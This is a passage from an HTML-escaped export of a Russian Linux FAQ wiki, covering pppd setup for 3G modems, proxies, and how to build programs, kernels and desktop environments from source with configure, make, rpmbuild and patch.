Теперь все соединения(Host *) будут устанавливаться через прокси 192.168.0.1:8080.&lt;br /&gt;
&lt;br /&gt;
== Как настроить WAP-сервер? ==&lt;br /&gt;
Настроить обычный apache, предварительно задавшись соответствующим вопросом на любом поисковике.&lt;br /&gt;
&lt;br /&gt;
Если коротко: нужно ему написать в конфиге&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DirectoryIndex что_угодно index.wml &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
И положить это самый wml.&lt;br /&gt;
&lt;br /&gt;
== У меня несколько подключений к интернету. Как мне сделать чтобы они корректно работали одновременно? ==&lt;br /&gt;
[http://www.opennet.ru/docs/RUS/LARTC/x348.html] ([http://lartc.org/lartc.html#LARTC.RPDB.MULTIPLE-LINKS оригинальная статья на английском языке])&lt;br /&gt;
&lt;br /&gt;
== Что делать, если в программе отсутствует поддержка прокси? ==&lt;br /&gt;
Почти в каждом дистрибутиве есть консольная утилита proxychains, с помощью которой программы могут работать через прокси серверы. К ней есть графическая оболочка — [http://sourceforge.net/projects/proxychainsgui/]&lt;br /&gt;
&lt;br /&gt;
== 3g Мегафон/Билайн Коннект при помощи pppd ==&lt;br /&gt;
&lt;br /&gt;
=== Конфиги для Мегафон ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/ppp/peers/megafon-gprs&lt;br /&gt;
lcp-echo-failure 0&lt;br /&gt;
lcp-echo-interval 0&lt;br /&gt;
&lt;br /&gt;
connect /etc/ppp/peers/megafon-gprs-connect-chat&lt;br /&gt;
# debug      # раскомментировать для отладки&lt;br /&gt;
&lt;br /&gt;
/dev/ttyUSB0 # Имя девайса, последняя цифра может быть 1, 2 или 3&lt;br /&gt;
921600       # Скорость обмена с модемом. Еще варианты: 115200, 230400 и т.д.&lt;br /&gt;
&lt;br /&gt;
local&lt;br /&gt;
noipdefault&lt;br /&gt;
ipcp-accept-local&lt;br /&gt;
defaultroute&lt;br /&gt;
#replacedefaultroute&lt;br /&gt;
#usepeerdns  # Использовать предлагаемые ДНС (отключено, использую свои)&lt;br /&gt;
&lt;br /&gt;
novj&lt;br /&gt;
nobsdcomp&lt;br /&gt;
novjccomp&lt;br /&gt;
nopcomp&lt;br /&gt;
noaccomp&lt;br /&gt;
nodetach&lt;br /&gt;
&lt;br /&gt;
noauth&lt;br /&gt;
&lt;br /&gt;
# При плохом качестве канала полезно уменьшить размер пакетов, иногда и более жестоко&lt;br /&gt;
#mtu 800&lt;br /&gt;
#mru 800&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/ppp/peers/megafon-gprs-connect-chat&lt;br /&gt;
exec chat -vS \&lt;br /&gt;
    '' \rAT \&lt;br /&gt;
    TIMEOUT 12 \&lt;br /&gt;
    OK ATH \&lt;br /&gt;
    OK ATE1 \&lt;br /&gt;
    OK 'AT+CGDCONT=1,&amp;quot;IP&amp;quot;,&amp;quot;internet&amp;quot;' \&lt;br /&gt;
    OK ATD*99***1# \&lt;br /&gt;
    TIMEOUT 22 \&lt;br /&gt;
    SAY &amp;quot;\nWaitinf for connect.....\n&amp;quot; \&lt;br /&gt;
    CONNECT &amp;quot;&amp;quot; \&lt;br /&gt;
    SAY &amp;quot;\nConnected!\n&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Этот файл нужно сделать исполняемым.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# chmod +x /etc/ppp/peers/megafon-gprs-connect-chat&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Конфиги для Билайн ===&lt;br /&gt;
Почти то же самое (файлы можно скопировать и поправить). Изменена точка доступа и добавлена аутентификация. Имена файлов пусть будут с префиксом '''beeline'''&lt;br /&gt;
&lt;br /&gt;
* Точка доступа хранится в файле '''/etc/ppp/peers/beeline-gprs-connect-chat'''. У кого как, но с симкой, которая была куплена мною, '''APN с сайта Билайна internet.beeline.ru не работает'''. Рабочая строка:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     OK 'AT+CGDCONT=1,&amp;quot;IP&amp;quot;,&amp;quot;home.beeline.ru&amp;quot;' \&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* В файл '''/etc/ppp/peers/beeline-gprs''' добавлена строка:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user beeline&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* В файл '''/etc/ppp/pap-secrets''' (на меге не нужна аутентификация) добавлена строка:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
beeline *       beeline&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Запуск ===&lt;br /&gt;
От рута:&lt;br /&gt;
 # pppd file /etc/ppp/peers/megafon-gprs&lt;br /&gt;
&lt;br /&gt;
В общем то, работает! Однако, соединение иногда слетает. После добавил строчки в '''/etc/inittab''' чтоб коннект поддерживался «на плаву»&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GPRS-подключения. Нужное РАСКОММЕНТИРОВАТЬ&lt;br /&gt;
#mg:2345:respawn:/usr/sbin/pppd file /etc/ppp/peers/megafon-gprs &amp;gt;/var/log/megafon-gprs&lt;br /&gt;
#bg:2345:respawn:/usr/sbin/pppd file /etc/ppp/peers/beeline-gprs &amp;gt;/var/log/beeline-gprs&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Ну и перечитать конфиг:&lt;br /&gt;
 # /sbin/init q&lt;br /&gt;
При такой схеме все же приходится один-два раза в месяц вмешиваться ручками — в том случае, когда требуется заново зарегистрироваться на БС опсоса. Скорей всего, это проблемы местной базовой станции.&lt;br /&gt;
&lt;br /&gt;
Для быстрого переподключения достаточно сделать:&lt;br /&gt;
 # killall pppd&lt;br /&gt;
&lt;br /&gt;
== Сетевые контейнеры (network namespace) ==&lt;br /&gt;
Network namespace это изолированный сетевой стек без запуска виртуальной машины&lt;br /&gt;
&lt;br /&gt;
[http://wiki.sirmax.noname.com.ua/index.php/NetworkNamespaces Описание функционала] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://net-labs.in/2014/04/06/%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D1%8B-%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F-linux-network-namespaces-netns/ Примеры использования]&lt;br /&gt;
&lt;br /&gt;
== Маршрутизация multicast ==&lt;br /&gt;
Используются smcroute, pimd, mrouted, xorp, igmpproxy&lt;br /&gt;
&lt;br /&gt;
[http://net-labs.in/2014/04/19/%D0%BC%D0%B0%D1%80%D1%88%D1%80%D1%83%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-multicast-%D0%B2-linux/ Маршрутизация multicast в Linux]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:Сети и интернет]]&lt;br /&gt;
[[Категория:Администрирование]]&lt;br /&gt;
[[Категория:L.O.R. FAQ]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%B1%D0%BE%D1%80%D0%BA%D0%B0_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC&amp;diff=353</id>
		<title>Сборка программ</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%B1%D0%BE%D1%80%D0%BA%D0%B0_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC&amp;diff=353"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Зачем мне (не)нужно собирать программу из исходников ? ==&lt;br /&gt;
Для начала задайтесь вопросом, а что Вы собственно хотите получить, собирая программу из исходных кодов? Большинство дистрибутивов являются бинарными, где программы поставляются уже в компилированнои виде и не требуют сборки. То, что отсутствует на установочном диске обычно можно найти в официальных или сторонних репозиториях (хранилищах пакетов), подключение репозитория и установка программы и ее зависимостей возможно сэкономит вам и время и нервы. Мотивацией за сборку может стать - отсутствие программы или ее нужной версии (например Вам нужна старая или самая новая версия) в репозиториях, недостаточное доверие к сторонним репозиториям, необходимость использования специальных возможностей сборки. Мотивацией против - недостаток опыта, времени, необходимость установки -dev пакетов, компилятора и других зависимостей.&lt;br /&gt;
&lt;br /&gt;
== Как собрать программу из исходников? Как установить программу из tar.gz/tar.bz2?==&lt;br /&gt;
&lt;br /&gt;
Скорее всего в tar.gz/tar.bz2 лежит не программа, а ее исходники. Прежде чем ее поставить, необходимо ее собрать. Для этого нужно выполнить (не бросайтесь сразу это делать):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@linux$ tar zxf program.tar.gz  # или tar jxf program.tar.bz2. А еще можно воспользоваться графическими средствами, в gnome и kde они есть&lt;br /&gt;
user@linux$ cd program              # переходим в только что созданный каталог с исходниками&lt;br /&gt;
user@linux$ ./configure             # тут можно передать некоторые параметры сборки, см ./configure --help&lt;br /&gt;
user@linux$ make                    # компилируем&lt;br /&gt;
root@linux# make install            # устанавливаем предварительно получив права root командой su. Либо используем sudo, что в принципе более правильно, а в некоторых дистрибутивах это еще и единственный способ (например Ubuntu)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поскольку при таком способе установки информация о том, что ставилось и куда, остается только в памяти админа (которая частенько еще какая временная :), лучше для контроля этого процесса использовать [http://checkinstall.izto.org checkinstall] или похожие программы (почему выше и мы говорили не выполнять команды сразу). После того, как вы, прочитав документацию, установите ее и настроите конфиг, на этапе установки программного обеспечения вместо ''make install'' будете писать ''checkinstall''. Checkinstall соберет &amp;quot;настоящий&amp;quot; пакет для указанной (tgz, rpm и deb в зависимости от настроек), установит его в систему и поместит в указанный в конфигурационном файле каталог (удобно для централизованного обновления нескольких машин). Удаление установленных таким образом программ осуществляется стандартными средствами дистрибутива, например, removepkg для Slackware или dpkg для Debian/Ubuntu.&lt;br /&gt;
&lt;br /&gt;
В rpm-based дистрибутивах собирайте программы из srpm или с использованием spec-файлов (для создания rpm). Не превращайте свою систему в помойку. В Slackware программы легко и непринуждённо собираются с помощью простого скрипта [http://www.slackwiki.org/SlackBuild_Scripts SlackBuild]. Да и в потомках Debian'a тоже есть штатная система сборки программ в дистрибутивные пакеты и лучше пользоваться ей.&lt;br /&gt;
&lt;br /&gt;
== Как удалить программу, собранную из исходников?==&lt;br /&gt;
&lt;br /&gt;
Это неоднозначный вопрос. Дело в том, что если вы просто собрали программу с помощью ''./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install'', то все зависит лишь от того, позаботился ли автор об удалении.&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы удалить программу, нужно зайти в каталог ее исходников, из которого она собиралась, и сделать ''make uninstall''. Если каталог не сохранился, распакуйте исходники, запустите ''./configure'' с теми же параметрами, с которыми собирали программу, и выполните ''make uninstall''. А чтобы не полагаться на приличия автора, рекомендуется посмотреть предыдущий вопрос.&lt;br /&gt;
== Почему после ручной сборки из исходников у программ получается большой размер?==&lt;br /&gt;
&lt;br /&gt;
По умолчанию программы собираются с отладочной информацией. Это, соответственно, увеличивает их размер, но на быстродействие и занимаемую оперативную память не влияет.&lt;br /&gt;
&lt;br /&gt;
Можно собрать программу без отладочной информации, указав соответствующий ключ - .''/configure --disable-debug''&lt;br /&gt;
&lt;br /&gt;
Удалить секции с отладочной информацией из уже собранной программы можно командой ''strip progfile''. Посмотреть, что вышло можно командой ''file progfile'', она напишет - stripped или not stripped.&lt;br /&gt;
&lt;br /&gt;
А можно сделать более правильно:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# find . | xargs file | awk -F: '/ELF.+executable/{print $1}' | xargs strip --strip-unneeded &lt;br /&gt;
root@linux# find . | xargs file | awk -F: '/ELF.+shared object/{print $1}' | xargs strip --strip-unneeded&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Что прописать в настройках rpm, чтобы для всех собираемых программ выполнялся strip?==&lt;br /&gt;
&lt;br /&gt;
Создаем файл /etc/rpm/macros с таким содержанием:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%debug_package %{nil}&lt;br /&gt;
%_missing_doc_files_terminate_build 0&lt;br /&gt;
%_unpackaged_files_terminate_build 0&lt;br /&gt;
%__os_install_post    \&lt;br /&gt;
        /usr/lib/rpm/redhat/brp-compress \&lt;br /&gt;
        /usr/lib/rpm/redhat/brp-strip %{__strip} \&lt;br /&gt;
        /usr/lib/rpm/redhat/brp-strip-shared %{__strip} \&lt;br /&gt;
        /usr/lib/rpm/redhat/brp-strip-static-archive %{__strip} \&lt;br /&gt;
        /usr/lib/rpm/redhat/brp-strip-comment-note %{__strip} %{__objdump} \&lt;br /&gt;
%{nil}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В будущем при смене версии rpm, не придется ничего править в самих макросах из rpm.&lt;br /&gt;
&lt;br /&gt;
==Что делать если configure говорит, что XXX не установлен, а на самом деле он установлен?==&lt;br /&gt;
&lt;br /&gt;
Для сборки нужны заголовочные файлы (headers). Во многих дистрибутивах библиотеки и программы поделены на два пакета - foo и foo-devel (Fedora, Mandriva) или foo-dev (Debian, Ubuntu). Соответственно нужно поставить foo-devel (foo-dev). Иногда надо вручную запустить ldconfig чтобы увиделись свежеустановленные библиотеки.&lt;br /&gt;
&lt;br /&gt;
Примечание: в пакетах Slackware почти всё вместе.&lt;br /&gt;
&lt;br /&gt;
==Я поставил пакет XXX-dev/XXX-devel, а configure все равно говорит, что XXX не установлен==&lt;br /&gt;
&lt;br /&gt;
Бывает так, что configure находит пакет XXX, но при попытке использовать файлы из него (в частности, собрать тестовую программу с заголовочными файлами из пакета) происходит какая-нибудь ошибка. configure не может точно определить, что происходит, и считает, что пакет просто не установлен.&lt;br /&gt;
&lt;br /&gt;
Вам нужно искать информацию о происходящей ошибке в файле config.log. Скорее всего, будут какие-то сообщения об ошибках компилятора при сборке тестовых программ.&lt;br /&gt;
&lt;br /&gt;
Если не разбираетесь в формате этого протокола, посмотрите, какое последнее сообщение об ошибке попало в консоль (обычно от компилятора или линкера, но не о том, как make выходит из директорий), а потом ищите его поиском по тексту в логе. Выше или ниже будет нужная информация.&lt;br /&gt;
==Как собрать rpm пакет из src.rpm (srpm)?==&lt;br /&gt;
&lt;br /&gt;
В зависимости от дистрибутива ''rpm --rebuild название_пакета.src.rpm'' или ''rpmbuild --rebuild название_пакета.src.rpm''&lt;br /&gt;
&lt;br /&gt;
Кроме того ALT'овцы рекомендуется не собирать пакеты на работающей системе, а использовать [http://www.freesource.info/wiki/ALTLinux/Dokumentacija/Hasher hasher]&lt;br /&gt;
&lt;br /&gt;
Если вместо ожидаемого результата, на экран выводится список параметров командной строки, нужно установить rpm-devel. Ну а если все получилось, то пакеты будут лежать в /usr/src/название_дистрибутива/BUILD/название_архитектуры_процессора, например&lt;br /&gt;
/usr/src/redhat/BUILD/i386.&lt;br /&gt;
&lt;br /&gt;
==Помогите собрать ядро==&lt;br /&gt;
&lt;br /&gt;
Помогаем:&lt;br /&gt;
&lt;br /&gt;
* [http://www.linuxcenter.ru/lib/articles/system/kernel26_install.phtml] - русское пошаговое описание для новичков&lt;br /&gt;
&lt;br /&gt;
* [http://kernel.xc.net/] - архив параметров ядра, разница между разными версиями&lt;br /&gt;
&lt;br /&gt;
Если у вас rpm-based дистрибутив, то тогда прочитайте следующий вопрос.&lt;br /&gt;
&lt;br /&gt;
==Как собрать ядро из src.rpm? Как собрать собственное ядро из src.rpm?==&lt;br /&gt;
&lt;br /&gt;
Поскольку у меня (jackill) Fedora, то рассматривать мы будем именно ядра этого дистрибутива. Для других дистрибутивов чуть-чуть будут отличаться пути в /usr/src и, возможно, названия spec-файлов.&lt;br /&gt;
&lt;br /&gt;
'''Самый простой случай'''&lt;br /&gt;
&lt;br /&gt;
Мы скачали пакет вида kernel-2.x.x-1.xxx.src.rpm. Нас устраивает конфигурация по умолчанию, но не устраивает сборка под i386. Поэтому пишем:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# rpmbuild --rebuild --target=i686 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и забираем готовый пакет из /usr/src/redhat/RPMS/i686&lt;br /&gt;
&lt;br /&gt;
'''Собираем собственное ядро'''&lt;br /&gt;
&lt;br /&gt;
Распакуем srpm:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# rpm -i kernel-2.x.x-1.xxx.src.rpm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Далее перейдем в каталог /usr/src/redhat/SPECS и распакуем сами исходники, наложив при этом все патчи:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# rpmbuild -bp --target=i686 kernel-2.x.spec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Теперь переходим в каталог /usr/src/redhat/BUILD/kernel-2.x/linux-2.6, это исходники ядра с соответствующим конфигом. Здесь выполним две команды:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# make oldconfig&lt;br /&gt;
root@linux# make menuconfig&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Теперь мы можем выставить желаемые параметры. В качестве помощи можете воспользоваться этим разделом. Я обычно включаю поддержку NTFS, выбираю свой тип процессора, убираю поддержку 4ГБ памяти, ставлю соответствующие параметры для samba, а если машина в домене MS Windows 2003, то добавляю поддержку CIFS, а лишнее убиваю.&lt;br /&gt;
&lt;br /&gt;
После того, как вы закончили выставлять параметры, мы переименовываем наш файл конфигурации '''.config''', например в '''kernel-2.6.8-i686.config''' и переписываем в каталог /usr/src/redhat/SOURCES.&lt;br /&gt;
&lt;br /&gt;
Далее в kernel-2.x.spec выставляем какое нам нужно собрать ядро (обычное или smp), нужно ли собирать пакет с исходниками и пакет с документацией:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Summary: The Linux kernel (the core of the Linux operating system)&lt;br /&gt;
&lt;br /&gt;
# What parts do we want to build?  We must build at least one kernel.&lt;br /&gt;
# These are the kernels that are built IF the architecture allows it.&lt;br /&gt;
&lt;br /&gt;
%define buildup 1&lt;br /&gt;
%define buildsmp 0&lt;br /&gt;
%define buildsource 1&lt;br /&gt;
%define builddoc 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
После делаем как обычно.&lt;br /&gt;
&lt;br /&gt;
'''Если нужно добавить патч'''&lt;br /&gt;
&lt;br /&gt;
Алгоритм простой:&lt;br /&gt;
&lt;br /&gt;
Накладываем этот патч на распакованные исходники, конфигурируем ядро, переписываем так же получившийся конфиг, затем прописываем патч в kernel.spec (в двух местах: в одном сам патч, например '''Patch10002: vesafb-tng-0.9-rc4-r3-2.6.9-rc3.patch''', во втором способ его наложения, например, '''Patch10002 -p1''' - все увидите и сделаете по аналогии).&lt;br /&gt;
&lt;br /&gt;
Если после этого на сборке ядро вылетает, придется сделать '''make oldconfig''' для всех файлов конфигурации (повод научиться писать скрипты ;), или убить все конфиги, кроме нужного вам, после чего повторить сборку.&lt;br /&gt;
&lt;br /&gt;
Правда все просто?&lt;br /&gt;
&lt;br /&gt;
==Как накладывать патчи? Как накладывать патчи на ядро? (patch, diff)? Как убирать патчи?==&lt;br /&gt;
&lt;br /&gt;
Вообще было бы неплохо просто сделать '''man patch''' и все стало бы ясно (кстати, сделайте). А как накладывать патчи на ядро написано в самом README к ядру. Тем не менее.&lt;br /&gt;
&lt;br /&gt;
Несжатый патч:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
patch -p1 &amp;lt; my_patch.patch&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
p1 - уровень. Т.е. я захожу в каталог, где непосредственно находятся нужные мне файлы, копирую туда патч и оттуда запускаю эту команду. p0 - нулевой уровень вложенности&lt;br /&gt;
&lt;br /&gt;
Сжатый патч. Это патчи вида mypatch.gz и mypatch.bz2, соответственно:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
bzip2 -dc mypatch.bz2 | patch -p0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
или&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gzip -cd mypatch.gz | patch -p0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Чтобы откатить патч, нужно добавить в команду ключик -R&lt;br /&gt;
&lt;br /&gt;
Или можно проще&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
bzcat mypatch.bz2 | patch -p0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
или&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
zcat mypatch.gz | patch -p0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==Нужно ли накладывать промежуточные патчи на ядро?==&lt;br /&gt;
&lt;br /&gt;
Есть ядро версии 2.6.6. Нужно получить ядро 2.6.9. Нужно ли накладывать ли patch-2.6.7 и patch-2.6.8? Нужно.&lt;br /&gt;
&lt;br /&gt;
Есть ядро версии 2.6.17.3. Нужно получить ядро 2.6.17.5. Надо откатится обратно до 2.6.17 (patch -p1 -R) и наложить патч до 2.6.17.5&lt;br /&gt;
&lt;br /&gt;
==При сборке ядра make menuconfig ругается, что ncurses не установлен.==&lt;br /&gt;
&lt;br /&gt;
Установите ncurses-devel или как он там называется в вашем дистрибутиве.&lt;br /&gt;
&lt;br /&gt;
==Зачем собирать модули? Почему бы не сделать монолит?==&lt;br /&gt;
&lt;br /&gt;
Монолит хорош только тем, что у атакующего нет возможности подменить модуль своим. На этом плюсы кончаются. Ни скоростью работы, ни чем-либо другим ядро с модулями не отличается от ядра без модулей.&lt;br /&gt;
&lt;br /&gt;
У модулей, однако, есть преимущество. Модулю можно передать параметры. Яркий пример - модуль bttv. В случае монолитного ядра параметр придется передавать через загрузчик. Модули так же можно выгружать. &lt;br /&gt;
&lt;br /&gt;
==Как правильно собрать Gnome из исходников?==&lt;br /&gt;
&lt;br /&gt;
Можно использовать [http://live.gnome.org/Jhbuild jhbuild], для старых версий [https://web.archive.org/web/20120728021758/http://projects.gnome.org/garnome garnome(web.archive.org с сохранённым ftp-сервером)].&lt;br /&gt;
&lt;br /&gt;
==Как собрать KDE из исходников?==&lt;br /&gt;
&lt;br /&gt;
В первую очередь убедитесь что у Вас установлены достаточно новые версии пакетов Qt , soprano, akonadi, boost , также могут потребоваться (для плазмоидов) Google Gadgets, для графического пакета потребуется exiv2, для pim (почтовый клиент, адресная книга и.т.п) - gpg, gpgme,&lt;br /&gt;
&lt;br /&gt;
Большую часть исходников для предзависимостей КДЕ (KDE4) можно скачать с SVN командой&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
svn co svn://anonsvn.kde.org/home/kde/tags/kdesupport-for-4.3/kdesupport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Также Вам потребуется '''cmake'''&lt;br /&gt;
&lt;br /&gt;
Порядок сборки - kdelibs , kdepimlibs , kdebase-runtime , kdebase-workspace , все остальные пакеты можно собирать в произвольном порядке.&lt;br /&gt;
&lt;br /&gt;
собирается достаточно тривиально:&lt;br /&gt;
&lt;br /&gt;
''распаковываем пакет''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tar -xvf kdelibs-4.3.2.tar.gz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''создаем папку для сборки внутри распакованой папки''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd kdelibs-4.3.2&lt;br /&gt;
&lt;br /&gt;
mkdir builddir&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''конфигурируем с помощью cmake , обязательным аргументом является путь к исходникам, в данном случае ..'' &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cmake ..&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
команда cmake в отличие от ./configure воспринимает параметры в виде ''-DCMAKE_INSTALL_PREFIX=/usr'' (например вместо --prefix=/usr),&lt;br /&gt;
можно также воспользоваться ccmake или cmake-gui&lt;br /&gt;
&lt;br /&gt;
дальше обычная сборка (-j2 - использовать два потока сборки, для четырехъядерных процессоров можно задавать -j4 и так далее)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
make -j2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
после чего можно установить собраные программы с помощью&lt;br /&gt;
&lt;br /&gt;
'''make install''' или '''make install DESTDIR=/путь/установки''' для последующего создания пакета&lt;br /&gt;
==Что делать если программа не имеет скрипта configure?==&lt;br /&gt;
&lt;br /&gt;
Часто бывает так, что исходный код, загруженный из систем контроля версий не содержит скрипта ''configure''. Иногда его нет и в обычных тарболлах, но есть ''autogen.sh''. Запускаем сначала его, а потом при необходимости - ''./configure''. Если же отсутствует и он, но есть файлы configure.ac, Makefile.am, Makefile.in., то можно сделать так - ''autoreconf -v --install''&lt;br /&gt;
&lt;br /&gt;
Возможно, что программа использует другую систему сборки, например, scons или qmake (в  случае qmake в исходниках будут присутствовать файлы .pro). Если используется cmake , то присутствует CMakeLists.txt и конфигурирование осуществляется командой ''cmake .'' (путь к исходникам обязателен, в случае если Вы собираете в корне распакованых исходников текущий путь указывается просто точкой, впрочем, некоторые программы Вам это сделать не дадут и попросят создать отдельный каталог.)&lt;br /&gt;
&lt;br /&gt;
Читайте документацию, она рулит, скорее всего всё, что нужно, написано в README.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Я не успеваю прочитать все сообщения на экране. Похоже там какие-то ошибки==&lt;br /&gt;
&lt;br /&gt;
Во время компиляции или запуска различных команд на экране быстро появляется множество различных сообщений, ошибок. Их трудно, почти невозможно прочитать, сохранить.&lt;br /&gt;
&lt;br /&gt;
Для решения этой проблемы воспользуйтесь командой &amp;quot;script&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
script&lt;br /&gt;
&lt;br /&gt;
./configure&lt;br /&gt;
make&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
В текущем каталоге появится файл typescript. Он будет содержать все сообщения которые появлялись на экране. Также можно использовать программу tee.&lt;br /&gt;
==Как запустить, протестировать, посмотреть программу до установки ее в систему ?==&lt;br /&gt;
&lt;br /&gt;
Данное решение работает для множества программ, но не для всех.&lt;br /&gt;
&lt;br /&gt;
Программу можно установить в каталог $HOME/usr.&lt;br /&gt;
Для этого вместо команды &amp;quot;make install&amp;quot; воспользуйтесь командой&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkdir $HOME/usr&lt;br /&gt;
make install DESTDIR=$HOME/usr&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Далее нужно изменить файл $HOME/.bash_profile добавив в него эти строки :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
export PATH=\&lt;br /&gt;
$PATH:\&lt;br /&gt;
$HOME/usr/bin:\&lt;br /&gt;
$HOME/usr/local/bin:\&lt;br /&gt;
$HOME/usr/sbin:\&lt;br /&gt;
$HOME/usr/local/sbin&lt;br /&gt;
&lt;br /&gt;
export LD_LIBRARY_PATH=\&lt;br /&gt;
$LD_LIBRARY_PATH:\&lt;br /&gt;
$HOME/usr/lib:\&lt;br /&gt;
$HOME/usr/local/lib&lt;br /&gt;
&lt;br /&gt;
export MANPATH=\&lt;br /&gt;
$MANPATH:\&lt;br /&gt;
$HOME/usr/man:\&lt;br /&gt;
$HOME/usr/share/man:\&lt;br /&gt;
$HOME/usr/local/man:\&lt;br /&gt;
$HOME/usr/local/share/man&lt;br /&gt;
&lt;br /&gt;
export INFOPATH=\&lt;br /&gt;
$INFOPATH:\&lt;br /&gt;
$HOME/usr/info:\&lt;br /&gt;
$HOME/usr/share/info:\&lt;br /&gt;
$HOME/usr/local/info:\&lt;br /&gt;
$HOME/usr/local/share/info&lt;br /&gt;
&lt;br /&gt;
export PYTHONPATH=\&lt;br /&gt;
$PYTHONPATH:\&lt;br /&gt;
$HOME/usr/lib/python2.6/site-packages:\&lt;br /&gt;
$HOME/usr/local/lib/python2.6/site-packages&lt;br /&gt;
&lt;br /&gt;
export PKG_CONFIG_PATH=\&lt;br /&gt;
$PKG_CONFIG_PATH:\&lt;br /&gt;
$HOME/usr/lib/pkgconfig:\&lt;br /&gt;
$HOME/usr/local/lib/pkgconfig&lt;br /&gt;
&lt;br /&gt;
export C_INCLUDE_PATH=\&lt;br /&gt;
$C_INCLUDE_PATH:\&lt;br /&gt;
